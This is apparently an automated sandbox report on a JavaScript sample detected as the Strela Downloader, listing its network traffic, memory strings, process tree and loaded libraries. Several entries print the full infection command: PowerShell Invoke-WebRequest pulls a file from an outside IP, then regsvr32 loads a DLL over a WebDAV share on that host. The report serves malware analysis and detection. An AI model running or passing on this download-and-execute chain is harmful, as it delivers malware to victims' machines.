57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: global traffic

TCP traffic: 192.168.2.7:49708 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49701 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1276233835.000002037FB5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1369097402.0000026037A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1369097402.0000026037A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tm
Source: svchost.exe, 0000000F.00000002.2556346205.0000017F65000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1373264424.0000017F64F50000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5496, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1231561673271419181.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4908:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yndytpxu.j5n.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1231561673271419181.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1231561673271419181.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1604,i,4207102740180000195,8117244266209756694,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1604,i,4207102740180000195,8117244266209756694,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
